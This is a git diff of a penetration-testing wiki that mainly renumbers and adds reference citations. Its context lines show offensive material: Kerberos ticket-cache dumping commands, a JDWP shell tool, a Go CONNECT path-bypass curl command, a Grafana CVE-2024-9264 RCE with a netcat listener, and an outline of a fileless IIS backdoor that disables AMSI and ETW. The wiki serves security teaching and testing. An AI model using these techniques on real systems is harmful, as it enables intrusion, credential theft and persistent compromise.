diff --git a/src/network-services-pentesting/pentesting-irc.md b/src/network-services-pentesting/pentesting-irc.md index 5b7552926ab..0cd90a6053e 100644 --- a/src/network-services-pentesting/pentesting-irc.md +++ b/src/network-services-pentesting/pentesting-irc.md @@ -82,6 +82,3 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 - `looking up your hostname` {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md b/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md index b7921f850d6..9cc643ab23d 100644 --- a/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md +++ b/src/network-services-pentesting/pentesting-iso-8583-payment-sockets.md @@ -84,7 +84,7 @@ Capture a valid financial request and replay it: - after the deduplication/cache window expires - with the same **DE11** and **DE37** -Weak processors only cache duplicates briefly and later re-accept the same frame as a new charge. Persistent duplicate detection should bind at least merchant, terminal, amount, card, STAN, RRN, and transaction lifecycle. +Weak processors only cache duplicates briefly and later re-accept the same frame as a new charge. Persistent duplicate detection should bind at least merchant, terminal, amount, card, STAN, RRN, and transaction lifecycle.[[1]](#references) ### Cross-merchant / object-ownership flaws @@ -105,7 +105,7 @@ If the terminal locally blocks a void/refund because the wrong card was inserted ### Business-logic mutations -High-value mutations include: +High-value mutations include:[[1]](#references) - increase **DE4** above the original amount - zero amount `000000000000` diff --git a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index 87cebf10b9d..4d9d3305d43 100644 --- a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -9,7 +9,7 @@ JDWP exploitation hinges on the **protocol's lack of authentication and encrypti In terms of process identification, searching for the string "jdwk" in Java processes can indicate an active JDWP session. -The go-to tool is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). You can use it with different parameters: +The go-to tool is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). You can use it with different parameters:[[2]](#references) ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data @@ -25,7 +25,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploi 1. **JDWP Overview**: - - It's a packet-based network binary protocol, primarily synchronous. + - It's a packet-based network binary protocol, primarily synchronous.[[3]](#references) - Lacks authentication and encryption, making it vulnerable when exposed to hostile networks. 2. **JDWP Handshake**: @@ -34,18 +34,18 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploi 3. **JDWP Communication**: - - Messages have a simple structure with fields like Length, Id, Flag, and CommandSet. + - Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.[[11]](#references) - CommandSet values range from 0x40 to 0x80, representing different actions and events. 4. **Exploitation**: - - JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks. + - JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.[[12]](#references) - The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods. 5. **Real-Life Exploitation**: - - Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub. - - The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE). + - Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.[[5]](#references)[[8]](#references) + - The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).[[7]](#references) 6. **Security Implications**: - The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations. @@ -65,7 +65,4 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploi - [11] [Java(tm) Debug Wire Protocol](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) - [12] [jdwp-exec NSE script — Nmap Scripting Engine documentation](http://nmap.org/nsedoc/scripts/jdwp-exec.html) - {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 5be201c0e2f..3faa5c6f2b4 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -76,20 +76,12 @@ Tips: The MS14-068 flaw permits an attacker to tamper with a legitimate user's Kerberos login token to falsely claim elevated privileges, such as being a Domain Admin. This counterfeit claim is mistakenly validated by the Domain Controller, enabling unauthorized access to network resources across the Active Directory forest. - {{#ref}} https://adsecurity.org/?p=541 {{#endref}} Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) -## References - -- [1] [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/) -- [2] [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication) -- [3] [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html) -- [4] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) - ## HackTricks Automatic Commands ``` @@ -122,4 +114,12 @@ Entry_4: Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs ``` +## References + +- [1] [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/) +- [2] [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication) +- [3] [MIT Kerberos Documentation – For users (ticket management: kinit/klist)](https://web.mit.edu/kerberos/krb5-1.22/doc/user/index.html) +- [4] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) +- [5] [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md index 24059da2b01..bfc62612206 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md @@ -32,7 +32,7 @@ The combination of `klist`, `keyctl`, and `/proc` inspection quickly reveals whe ### Extracting Credentials -The 2017 paper, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel's keyring mechanism for managing and storing keys.[[4]](#references) +The 2017 paper, [**Kerberos Credential Thievery (GNU/Linux)**](https://web.archive.org/web/20210721113019/https://www.delaat.net/rp/2016-2017/p97/report.pdf), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel's keyring mechanism for managing and storing keys.[[4]](#references) #### Keyring Extraction Overview @@ -49,7 +49,7 @@ $ keyctl pipe > /tmp/ccache_dump # write raw blob to disk $ KRB5CCNAME=/tmp/ccache_dump klist # validate the stolen cache ``` -If multiple principals are stored, repeat the `keyctl pipe` step per serial, then convert the extracted ccache to a Windows-friendly `.kirbi`/`.ccache` using tooling such as `kerbtool` (see below) or `ticketConverter.py` before replaying it from other machines. +If multiple principals are stored, repeat the `keyctl pipe` step per serial, then convert the extracted ccache to a Windows-friendly `.kirbi`/`.ccache` using tooling such as `kerbtool` (see below) or `ticketConverter.py` before replaying it from other machines.[[5]](#references) #### File/DIR Cache Theft Quick Wins @@ -104,9 +104,11 @@ Having both tickey and kerbtool on your implant host lets you move seamlessly be ## References -- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) +- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [2] [KCM server for SSSD](https://docs.pagure.org/sssd.sssd/design_pages/kcm.html) - [3] [kerbtool](https://github.com/jfjallid/kerbtool) -- [4] [Kerberos Credential Thievery (GNU/Linux)](https://www.delaat.net/rp/2016-2017/p97/report.pdf) +- [4] [Kerberos Credential Thievery (GNU/Linux)](https://web.archive.org/web/20210721113019/https://www.delaat.net/rp/2016-2017/p97/report.pdf) +- [5] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) +- [6] [Kerberos Credential Thievery (GNU/Linux)](https://www.delaat.net/rp/2016-2017/p97/report.pdf) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md index c992ced74d7..9d7b1a0fe9b 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Tickets in Windows are managed and stored by the **lsass** (Local Security Authority Subsystem Service) process, responsible for handling security policies. A non-administrative user can usually only access their own logon session, while an administrator (or `SYSTEM`) can enumerate and extract tickets across the host. On modern Windows builds, **LSA Protection** and **Credential Guard** frequently make old "just dump LSASS" tradecraft less reliable, so combine quick native triage, targeted dumping, and offline parsing instead of assuming a single command will always return every ticket. +Tickets in Windows are managed and stored by the **lsass** (Local Security Authority Subsystem Service) process, responsible for handling security policies. A non-administrative user can usually only access their own logon session, while an administrator (or `SYSTEM`) can enumerate and extract tickets across the host. On modern Windows builds, **LSA Protection** and **Credential Guard** frequently make old "just dump LSASS" tradecraft less reliable, so combine quick native triage, targeted dumping, and offline parsing instead of assuming a single command will always return every ticket.[[3]](#references) ### Native triage @@ -93,7 +93,8 @@ On recent Windows 11 / Server 2025 estates, **LSASS protected process** and **Cr ## References -- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) +- [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [2] [Rubeus Overview](https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/overview) +- [3] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/golang.md b/src/network-services-pentesting/pentesting-web/golang.md index 6b8d5aa30b4..d08a7bac7df 100644 --- a/src/network-services-pentesting/pentesting-web/golang.md +++ b/src/network-services-pentesting/pentesting-web/golang.md @@ -10,7 +10,7 @@ In the Go programming language, a common practice when handling HTTP requests, s - Paths containing directory traversal sequences such as `/../flag` are simplified and redirected to `/flag`. - Paths with a trailing period as in `/flag/.` are also redirected to the clean path `/flag`. -However, an exception is observed with the use of the `CONNECT` method. Unlike other HTTP methods, `CONNECT` does not trigger the path normalization process. This behavior opens a potential avenue for accessing protected resources. By employing the `CONNECT` method alongside the `--path-as-is` option in `curl`, one can bypass the standard path normalization and potentially reach restricted areas. +However, an exception is observed with the use of the `CONNECT` method. Unlike other HTTP methods, `CONNECT` does not trigger the path normalization process. This behavior opens a potential avenue for accessing protected resources. By employing the `CONNECT` method alongside the `--path-as-is` option in `curl`, one can bypass the standard path normalization and potentially reach restricted areas.[[1]](#references) The following command demonstrates how to exploit this behavior: @@ -20,7 +20,8 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag [https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go\#L2354-L2364](https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364) -{{#include ../../banners/hacktricks-training.md}} - +## References +- [1] [Go net/http source — `ServeMux.Handler`: "CONNECT requests are not canonicalized"](https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/grafana.md b/src/network-services-pentesting/pentesting-web/grafana.md index 651473fea40..9718ab296ab 100644 --- a/src/network-services-pentesting/pentesting-web/grafana.md +++ b/src/network-services-pentesting/pentesting-web/grafana.md @@ -59,7 +59,7 @@ curl -s http://grafana.target/api/plugins | jq '.[].id' ## CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI -Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.[[1]](#references) +Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.[[1]](#references)[[6]](#references) Impact - Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.[[1]](#references) @@ -96,7 +96,7 @@ Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`. Automated PoC - Public PoC (built on cfreal’s ten framework):[[7]](#references)[[8]](#references) - - [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264) + - [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264)[[7]](#references) Usage example ```bash @@ -123,13 +123,13 @@ The 2025 Grafana client-side traversal and open-redirect chain is already docume ## References -- [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/) -- [Grafana docs – Add authentication for data source plugins (`jsonData`, `secureJsonData`, `window.grafanaBootData`)](https://grafana.com/developers/plugin-tools/how-to-guides/data-source-plugins/add-authentication-for-data-source-plugins) -- [Grafana docs – Configure database encryption](https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-database-encryption/) -- [Grafana docs – Provision Grafana](https://grafana.com/docs/grafana/latest/administration/provisioning/) -- [Cycode – One Plugin Away: Breaking Into Grafana from the Inside](https://cycode.com/blog/one-plugin-away-breaking-into-grafana-from-the-inside/) -- [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html) -- [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264) -- [cfreal/ten framework](https://github.com/cfreal/ten) +- [1] [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/) +- [2] [Grafana docs – Add authentication for data source plugins (`jsonData`, `secureJsonData`, `window.grafanaBootData`)](https://grafana.com/developers/plugin-tools/how-to-guides/data-source-plugins/add-authentication-for-data-source-plugins) +- [3] [Grafana docs – Configure database encryption](https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-database-encryption/) +- [4] [Grafana docs – Provision Grafana](https://grafana.com/docs/grafana/latest/administration/provisioning/) +- [5] [Cycode – One Plugin Away: Breaking Into Grafana from the Inside](https://cycode.com/blog/one-plugin-away-breaking-into-grafana-from-the-inside/) +- [6] [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html) +- [7] [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264) +- [8] [cfreal/ten framework](https://github.com/cfreal/ten) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md index 8cffc7bb811..8af60b71786 100644 --- a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -41,3 +41,4 @@ In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) - [2] [Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 3b07db5343e..725f439ca6d 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -49,13 +49,13 @@ X-FEServer: NHEXCHANGE2016 You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)[[2]](#references) ## IIS Discovery Bruteforce ### Passive discovery and active fingerprinting -Before brute-forcing, try to identify IIS/ASP.NET hosts passively:[[2]](#references) +Before brute-forcing, try to identify IIS/ASP.NET hosts passively:[[3]](#references) ```bash ssl:"target.com" http.title:"IIS" @@ -135,7 +135,7 @@ tr '[:upper:]' '[:lower:]' | sort -u ### Leaking source code -Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)[[4]](#references) > [!TIP] > As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\ @@ -191,7 +191,7 @@ In a scenario where a DLL imports a namespace called **WebApplication1.Areas.Min ### Cookieless session path confusion → `/bin` DLL disclosure -Legacy ASP.NET cookieless sessions accept path segments like `(S(X))`. IIS strips those segments during normalisation, which can sometimes expose DLLs from `/bin` even when direct access is denied:[[2]](#references) +Legacy ASP.NET cookieless sessions accept path segments like `(S(X))`. IIS strips those segments during normalisation, which can sometimes expose DLLs from `/bin` even when direct access is denied:[[3]](#references) ```http GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll @@ -203,7 +203,7 @@ After downloading an application DLL, decompile it with dnSpy / dotPeek to recov ### Common files -From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)[[5]](#references) ``` C:\Apache\conf\httpd.conf @@ -297,7 +297,7 @@ ffuf -u https://TARGET_IP/ -H 'Host: FUZZ.target.com' -w vhosts.txt -fs 0 ## Reverse proxy / IIS path normalisation confusion -If IIS is behind a reverse proxy or WAF, test whether the proxy and IIS canonicalise the path differently:[[2]](#references) +If IIS is behind a reverse proxy or WAF, test whether the proxy and IIS canonicalise the path differently:[[3]](#references) ``` /anything/..%2fadmin/ @@ -333,7 +333,7 @@ With the key ring available, an operator running in the app’s identity can ins ## Harvesting IIS configuration and credentials with ApplicationHost.config / AppCmd -`ApplicationHost.config` is the root IIS configuration file and usually lives at `%windir%\system32\inetsrv\config\applicationHost.config`.[[7]](#references) Once you get local code execution on the server, enumerate it before dropping more tooling because it often reveals: +`ApplicationHost.config` is the root IIS configuration file and usually lives at `%windir%\system32\inetsrv\config\applicationHost.config`.[[6]](#references) Once you get local code execution on the server, enumerate it before dropping more tooling because it often reveals: - hidden site bindings / internal hostnames - applications mapped outside `C:\inetpub\wwwroot` @@ -372,7 +372,7 @@ For broader post-exploitation loot after OS execution, check [Windows Local Priv ## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style) -The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.[[5]](#references) +The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.[[7]](#references) Key building blocks - ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()). @@ -380,7 +380,7 @@ Key building blocks - Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk. - Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell. - Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR. -- Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads. +- Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.[[17]](#references) Minimal ASPX loader pattern ```aspx @@ -459,7 +459,7 @@ DisableAmsi(); DisableEtw(); Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } }); ``` -See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md[[6]](#references) +See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md Hunting notes (defenders) - Single, odd ASPX page with very long Base64/Gzip blobs; cookie‑heavy posts. @@ -515,19 +515,19 @@ You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/ ![Old IIS vulnerabilities worth looking for - Microsoft IIS tilde character “ ” Vulnerability/Feature – Short File/Folder Name Disclosure: You can use...](<../../images/image (844).png>) -Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) +Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)[[8]](#references) You can also use **metasploit**: `use scanner/http/iis_shortname_scanner` A nice idea to **find the final name** of the discovered files is to **ask LLMs** for options like it's done in the script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) -You can also use more modern tooling such as [shortscan](https://github.com/bitquark/shortscan):[[3]](#references) +You can also use more modern tooling such as [shortscan](https://github.com/bitquark/shortscan):[[9]](#references) ```bash shortscan https://target.com/ -F -p 1 ``` -Once you have fragments such as `SITEBA~1.ZIP` or `WEB~1.CON`, build a targeted wordlist instead of guessing blindly:[[4]](#references) +Once you have fragments such as `SITEBA~1.ZIP` or `WEB~1.CON`, build a targeted wordlist instead of guessing blindly:[[10]](#references) - Search GitHub paths for matching prefixes/extensions (for example `path:/global*.asa` or `path:/connec*.config`). - Query BigQuery's public GitHub dataset for real filenames matching the 8.3 prefix. @@ -562,7 +562,7 @@ ASP.NET include a debugging mode and its file is called `trace.axd`. It keeps a very detailed log of all requests made to an application over a period of time. -This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords. +This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.[[11]](#references) [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) @@ -570,7 +570,7 @@ This information includes remote client IP's, session IDs, all request and respo ## IIS upload quirks -If an upload filter only blocks `.asp` / `.aspx`, IIS may still serve attacker-controlled content from other extensions. For general upload methodology see [this page](../../pentesting-web/file-upload/README.md), but the IIS-specific checks are:[[2]](#references) +If an upload filter only blocks `.asp` / `.aspx`, IIS may still serve attacker-controlled content from other extensions. For general upload methodology see [this page](../../pentesting-web/file-upload/README.md), but the IIS-specific checks are:[[3]](#references) - HTML-rendered extensions for stored XSS: `.cer`, `.hxt`, `.htm` - XML/XSS-capable extensions: `.dtd`, `.mno`, `.vml`, `.xsl`, `.xht`, `.svg`, `.xml`, `.xsd`, `.xsf`, `.svgz`, `.xslt`, `.wsdl`, `.xhtml` @@ -581,7 +581,7 @@ A successful `web.config` or executable upload can escalate directly to RCE; oth ## HTTP Parameter Pollution / WAF bypass -ASP.NET often concatenates duplicate parameter values with commas, so try splitting blocked payloads across repeated parameters:[[2]](#references) +ASP.NET often concatenates duplicate parameter values with commas, so try splitting blocked payloads across repeated parameters:[[3]](#references) ``` https://target.com/page?param= @@ -599,7 +599,7 @@ ASPXAUTH uses the following info: - **`decryptionKey`** (string): hex-encoded key to use for decryption. However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\ -This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). +This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).[[12]](#references) ## MachineKey loot → ViewState and auth-cookie abuse @@ -610,7 +610,7 @@ If a **`web.config` / `machine.config` leak**, backup disclosure, path traversal - decrypt or forge `.ASPXAUTH` / ASP.NET application cookies - pivot across sibling IIS nodes that reuse the same static keys -In 2025, Microsoft documented real intrusions abusing **publicly disclosed ASP.NET machine keys**, and reported identifying **more than 3,000 exposed keys** in public sources.[[8]](#references) Therefore, if you recover one key pair from a single app, test whether the same keys are reused across the rest of the farm. +In 2025, Microsoft documented real intrusions abusing **publicly disclosed ASP.NET machine keys**, and reported identifying **more than 3,000 exposed keys** in public sources.[[13]](#references) Therefore, if you recover one key pair from a single app, test whether the same keys are reused across the rest of the farm. ```bash # Try known/public keys first @@ -627,7 +627,7 @@ For the **legacy vs .NET 4.5+** details, `__VIEWSTATEGENERATOR`, `ViewStateUserK ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user . +[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user .[[14]](#references) ```python # script for sanity check @@ -654,7 +654,7 @@ HTTP/1.1 200 OK ## HTTP.sys HTTPS header-line fragmentation -When IIS or another Windows service is backed by **HTTP.sys over HTTPS**, remember that **TLS record boundaries can become parser-relevant boundaries**. SChannel decrypts **each TLS application-data record independently** and HTTP.sys may account for each decrypted record as a different internal receive buffer instead of as one normalized byte stream.[[9]](#references)[[10]](#references) +When IIS or another Windows service is backed by **HTTP.sys over HTTPS**, remember that **TLS record boundaries can become parser-relevant boundaries**. SChannel decrypts **each TLS application-data record independently** and HTTP.sys may account for each decrypted record as a different internal receive buffer instead of as one normalized byte stream.[[15]](#references)[[16]](#references) ### Why this matters @@ -664,11 +664,11 @@ If the target parses **HTTP/1.x headers** and fully consumes each buffer without - each line terminated with **`CRLF`** - a **single long-lived HTTPS request** -This is useful when the backend keeps **per-buffer metadata** during header parsing. In the 2026 HTTP.sys bug, that metadata growth reached an [integer overflow](../../binary-exploitation/integer-overflow-and-underflow.md) condition in the array capacity field, which later caused a **tiny reallocation + oversized `memmove`** kernel pool overflow.[[9]](#references)[[10]](#references) +This is useful when the backend keeps **per-buffer metadata** during header parsing. In the 2026 HTTP.sys bug, that metadata growth reached an [integer overflow](../../binary-exploitation/integer-overflow-and-underflow.md) condition in the array capacity field, which later caused a **tiny reallocation + oversized `memmove`** kernel pool overflow.[[15]](#references)[[16]](#references) ### Practical exploitation notes -- This technique was **HTTPS-only** because plaintext HTTP is more likely to be **coalesced/merged** before the parser sees separate buffers.[[9]](#references)[[10]](#references) +- This technique was **HTTPS-only** because plaintext HTTP is more likely to be **coalesced/merged** before the parser sees separate buffers.[[15]](#references)[[16]](#references) - The vulnerable path was **HTTP/1.x header parsing**. **HTTP/2** / **HTTP/3** and **HTTP body parsing** did not hit the same logic. - Exploitation required **tens of thousands of tiny header lines** split across TLS records, so very large request-header limits were needed. - For HTTP.sys specifically, check `HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters\MaxRequestBytes`. @@ -678,7 +678,7 @@ This is useful when the backend keeps **per-buffer metadata** during header pars ### Detection ideas -- **Best signal:** decrypt HTTPS and flag **HTTP/1.x requests with more than ~1000 header lines**.[[9]](#references)[[10]](#references) +- **Best signal:** decrypt HTTPS and flag **HTTP/1.x requests with more than ~1000 header lines**.[[15]](#references)[[16]](#references) - **Fallback heuristic:** on one TLS connection, alert on **more than ~1000 short application-data records** carrying small payloads. - **Supplemental signal:** suspiciously **long-lived HTTPS connections** repeatedly feeding tiny records. @@ -687,13 +687,21 @@ This is a good example of a broader review rule: if a protocol stack processes d ## References - [1] [0xdf – HTB Job (IIS write → ASPX shell → GodPotato)](https://0xdf.gitlab.io/2026/01/26/htb-job.html) -- [2] [Humiliating IIS Servers for Fun and Jail Time](https://mll.sh/humiliating-iis-servers-for-fun-and-jail-time) -- [3] [shortscan](https://github.com/bitquark/shortscan) -- [4] [Assetnote – Finding Hidden Files and Folders on IIS Using 